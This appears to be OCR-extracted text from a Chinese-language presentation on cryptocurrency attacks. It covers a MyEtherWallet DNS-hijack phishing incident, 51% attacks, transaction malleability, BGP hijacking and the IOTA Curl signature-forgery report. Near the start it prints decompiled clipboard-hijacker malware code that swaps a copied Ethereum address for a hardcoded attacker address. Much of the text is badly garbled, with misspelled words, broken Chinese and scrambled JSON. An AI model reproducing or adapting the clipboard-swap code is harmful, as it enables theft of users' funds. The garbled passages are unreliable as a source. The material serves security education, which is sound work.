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Couple of DNS servers were hijacked to —

resolve users to be -
redirected to a phishing site. This is not on

S : Open Source Ethereum Wallet - MyEtherWallet - ether-wallet.co
side, we are in the process of (2) my.ether-walet.col *

S ® » 3 My.Ether-Wailat co s & foe javasorpt, opan-scurce Ethereum walet
verifying which servers to get it resolved asap.

MyEtherWallet.com
hitps:www.myetherwalist. comv v
MyEtherWalkiet com & a fee, open-source. chent-gido intarface for generating Ethereum walets &

MyEtherWallet.com: Your Key to Ethereum
Free, open-sousce, client side Ethereum waliel. Enabing you to

interact with the blockchamn eastly & securely maore. ietaract with the Eereum blockcharm sasily A secunly

MyEtherWallet.com (@myetherwallet) | Twitter
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if { GetTheClipboardData{&String) )

{
if { lstrlenn(&String) > 4B && lstrlenA{&String) < 58 && String == '@8' && v7 == 'x' )
{
uz = B;
For { 1 = B;
#{&String + 1)
&& (*(&String + 1) >= 97 && *=(&String + 1) <= 122
|| ®(&String + i) »= 65 && *(&String + i) <= 90
|| ®(&String + i) = 48 && *(&String + i) <= 57);
++1 )
{
+HUZ;
H
if { v2 == 42 )
lstrepyA(&Stringl, "0x004D3416DA4B338FAFIEF72388N93FAFS059DFd5");
U= ey
SetTheClipboardData{&String1);
H
:
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SHERINS—NEERAE, PAREBXEEF
SHAREENR) }

pc = pend;

X F B AT B % Bug BN, 5 break;
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OP 1 OP_RETURN
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Bitcoin: A Peer-to-Peer Electronic Cash System

Satoshi Nakamoto
satoshin@gmx.com
www.bitcoin.org

Abstract. A purely peer-to-peer version of electronic cash would allow online
payments to be sent directly from one party to another without going through a
financial institution. Digital signatures provide part of the solution, but the main
benefits are lost if a trusted third party is still required to prevent double-spending.
We propose a solution to the double-spending problem using a peer-to-peer network.
The network timestamps transactions by hashing them into an ongoing chain of
hash-based proof-of-work, forming a record that cannot be changed without redoing
the proof-of-work. The longest chain not only serves as proof of the sequence of
events witnessed, but proof that it came from the largest pool of CPU power. As
long as a majority of CPU power is controlled by nodes that are not cooperating to
attack the network, they'll generate the longest chain and outpace attackers. The
network itself requires minimal structure. Messages are broadcast on a best effort
basis, and nodes can leave and rejoin the network at will, accepting the longest
proof-of-work chain as proof of what happened while they were gone.

Introduction

Commerce on the Internet has come to rely almost exclusively on financial institutions serving as
trusted third parties to process electronic payments. While the system works well enough for
most transactions, it still suffers from the inherent weaknesses of the trust based model.

a peer-to-peer network.

We propose a solution to the
double-spending problem using

51% attack [Nakamoto2008]

I will try to catch
up with 3 blocks
and rewrite the
history of
transactions
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ible transactions are not really possible, since financial institutions cannot
ey The cost of mediation increases transaction costs, limiting the
J% nsaction size and cutting off the possibility for small casual transactions,




R WEE (FEREIBGE) &) | &
e BitcoinGold
2018%F5H, #®™5%k1.3147T
« ZenCash
2018%F6H, ®™%34057T
- Verge
2018448 . 58, #5%190057T
« Monacoin

201855, RK6257T
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The malleated transaction is confirmed first

V4
{ ! "
Node A submits Transaction outputs of the eriginal transaction %ounc" ,"
dt ti are actioned but network confirmations refer ”cater;;s “.
a send Cransaction to the malleated verion txn id 'amounz'.
(as above) L > “fee":
1 “confirmations” :
[ - , z "blockhash”:
"account”: ‘My Payment Address", - . : x i "blgikint:lsex'::
"address"; "1i2PGM28ZvUENE", ' =: "blocktime":
“category”: “send", ,,-..} : "exid" : :
';emeg.mt . 0156’56 . b _Houble-spend' ? *time":
e ) ) A “timereceived":

"confirmations”; 0,
"blockhash": g

"blockindex": .

"blocktime": : .

"txid” : "7f77", : : confirm

"time" : 1391750000, [A==rY '

"timereceived”: 1391750111 R o ' -|

o confirm

Node A custom wallet software, upon not seéing owner’ovf"w‘gﬁeg e
confirmation, of txnid 7f77, may assume the transaction failed 1i2PgM282vUENE

and issue another send transaction!

< A 25
=¥
g | lT'l" https://www.ccn.com/bitcoin-transaction-malleability/

360

sCERNES LS

"My Payment Address”,
“112PgM28zvUENE",
"send”,

-1.25,

-0.0001,

al

e
’

’

’

"8a88’,
1391750000,
1391750111



-t N N SE M \57;\\%
x=H: BTG (NBETRR) %) | &

SO WMz B0

sCERNES LS

B

stealth
connection

minihg :
pool p—

~— bitcoin connection

-------- hijacked connection by AS&

-------- private pool traffic

? [} ¥ 4
& | ITZmiz

Bt Hijacking Bitcoin: Large-scale Network Attacks on Cryptocurrencies



%

=N =1 Sl SN . \‘{V,q\\\”
61 IOTARRE HSFR (MEELRR) s | @

BCERNESASE IS0 MME TR0

2 2 O 1 7£E 5 E I I OTA IZAiEﬁE* M ITEI:] E): -%gﬁﬁi H IOTA Vulinerability Report: Cryptanalysis of the Curl Hash Function Enabling Practical
& Signature Forgery Attacks on the IOTA Cryptocurrency
BRI R AN ,

By Ethan Hellman (Boston University, Paragon Foundation, Commonwealth Crypto), Neha Narula (MIT Media Lab), Thaddeus
Dryja (MIT Media Lab, Lightning Network Dev), Madars Virza (MIT Media Lab, Zcash)

. 78, MITHRESMIOTARN, MBIIKIMT || =

Summary: We prasent attacks on the cryptography used In the IOTA blockchain including under certain conditions the ability to

I OT A 7 5\ I]/\ I AN /r\ C u rI f f— 317 =F o N forge signatures. We have developed practical attacks on IOTA's cryptographic hash function Curl, allowing us to quickly
ﬁ I_I I j: E I BB genarate short colliding maessages. These collisions work even for messages of the same langth. Exploiting these weaknesses in

Curl, we break the EU-CMA security of the IOTA signature scheme. Finally we show that in a chosen message setting we can

>< ﬁjt Jtt I OTA r | P OW forge signatures of valid spending transactions (called bundles in IOTA). We present and demonstrate a practical attack
I i i5 i \_‘L (achievable in a few minutes) whereby an attacker could lorge a signature on an I0TA payment, and potentially use this forged
signature to stesl funds from another IOTA user, This report provides exampie demonstrations of these vulnerabiities but does
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